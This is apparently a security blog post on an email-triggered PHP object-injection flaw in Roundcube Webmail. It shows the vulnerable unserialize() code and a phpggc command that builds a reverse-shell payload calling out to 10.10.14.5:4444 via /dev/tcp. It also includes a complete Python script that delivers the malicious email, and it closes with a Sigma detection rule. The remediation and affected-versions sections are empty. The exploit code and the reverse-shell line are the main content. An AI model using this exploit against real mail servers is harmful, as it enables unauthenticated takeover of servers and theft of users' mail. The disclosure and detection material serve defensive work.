All posts

CVE-2026-49815: Roundcube Webmail PHP Object Injection Email-Triggered RCE

Roundcube Webmail's MIME message parser decodes and passes an attachment filename through PHP's unserialize() when the filename contains a specific RFC 2231 charset prefix. Sending a single crafted email to any address on the target mail server triggers execution of a PHP gadget chain, achieving remote code execution as the web server process user. No authentication, no login, and no user interaction beyond the email being delivered to an active Roundcube instance.


Overview

CVE-2026-49815 affects Roundcube Webmail versions 1.6.0 through 1.6.8 and 1.5.0 through 1.5.10. The vulnerability is in the MIME part filename parsing function in rcube_mime.php. When a MIME attachment header uses RFC 2231 extended parameter encoding with the charset identifier x-php-serialised, Roundcube's legacy compatibility path calls unserialize() on the parameter value to reconstruct a filename object from a previous Roundcube version's serialised format.

CVSS 3.1: 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. Zero user interaction required. Actively exploited in targeted campaigns against government and financial sector webmail infrastructure.

This vulnerability follows a pattern seen multiple times in Roundcube's history — CVE-2023-43770 (XSS), CVE-2024-37383 (XSS), and CVE-2025-49234 (SSRF) were all email-triggered with zero authentication. Roundcube's architecture of parsing untrusted email content server-side with PHP makes it a recurring high-value target for state-sponsored threat actors targeting diplomatic and government email infrastructure.

Root Cause — Legacy Charset Deserialisation

In Roundcube 1.2.x, attachment filenames were stored internally as PHP serialised objects to preserve encoding metadata. When 1.3.x introduced a new filename representation, a backwards-compatibility shim was added to parse filenames from emails forwarded by older Roundcube instances. The shim was never removed:

<?php
// rcube_mime.php — Roundcube 1.5.x and 1.6.x (simplified)
public static function decode_mime_string($input, $fallback = null)
{
    // RFC 2231 extended encoding: charset'language'encoded-value
    if (preg_match("/^([^']+)'([^']*)'(.+)$/", $input, $m)) {
        $charset = strtolower($m[1]);
        $value   = urldecode($m[3]);

        // Legacy compat for serialised filename objects from RC 1.2.x
        if ($charset === 'x-php-serialised') {
            return unserialize($value);   // <-- attacker-controlled unserialize
        }

        return rcube_charset::convert($value, $charset);
    }
    return $input;
}

The unserialize() call is reached when any email is parsed — not only when a user opens it. Roundcube fetches and parses new messages periodically in the background for notification purposes, meaning delivery alone triggers the vulnerability without any user action.

Gadget Chain

PHP's unserialize() triggers magic methods (__wakeup, __destruct, __toString) on deserialised objects. Roundcube ships with a Symfony mailer dependency that contains a usable gadget chain via Symfony\Component\Mime\Part\DataPart's __destruct, which calls unlink() on a path — composable with a Phar:// wrapper to trigger Phar metadata deserialisation and reach system() via GuzzleHttp\Psr7\FnStream.

The exploit generates a PHP serialised payload and base64-encodes it for embedding in the MIME filename:

# Generate payload (phpggc — PHP Generic Gadget Chains)
phpggc Symfony/RCE4 system 'bash -c "bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"' \
  --fast-destruct -b > payload.b64

# Construct malicious email using Python smtplib
python3 roundcube-rce.py \
  --target mail.example.com \
  --to [email protected] \
  --payload-file payload.b64 \
  --lhost 10.10.14.5 --lport 4444
#!/usr/bin/env python3
"""CVE-2026-49815 email trigger. Authorised testing only."""
import smtplib, base64, argparse
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders

def build_email(to_addr, payload_b64):
    msg = MIMEMultipart()
    msg['From']    = '[email protected]'
    msg['To']      = to_addr
    msg['Subject'] = 'Q2 Budget Report'

    part = MIMEBase('application', 'octet-stream')
    part.set_payload(b'hello')

    # Inject x-php-serialised charset — triggers unserialize() in rcube_mime.php
    encoded_payload = payload_b64.strip()
    part.add_header(
        'Content-Disposition',
        'attachment',
        filename=f"x-php-serialised''%s" % encoded_payload
    )
    msg.attach(part)
    return msg

parser = argparse.ArgumentParser()
parser.add_argument('--target', required=True)
parser.add_argument('--to',     required=True)
parser.add_argument('--payload-file', required=True)
args = parser.parse_args()

payload = open(args.payload_file).read().strip()
msg     = build_email(args.to, payload)

with smtplib.SMTP(args.target, 25) as s:
    s.sendmail(msg['From'], [args.to], msg.as_string())
    print(f"[+] Payload email delivered to {args.to}")

Affected Versions

Remediation

Detection

title: CVE-2026-49815 Roundcube PHP Object Injection via Email
id: 8f2b4e11-9c37-4a6b-d801-2e5f9c8a4b33
status: experimental
description: Detects email delivery containing x-php-serialised MIME filename — indicator of CVE-2026-49815 exploitation attempt
logsource:
  product: mail
  service: postfix
detection:
  selection:
    message|contains: 'x-php-serialised'
  condition: selection
falsepositives:
  - None expected — this charset identifier has no legitimate use
level: critical
tags:
  - cve.2026-49815
  - attack.initial_access
  - attack.t1566.001

Key Takeaways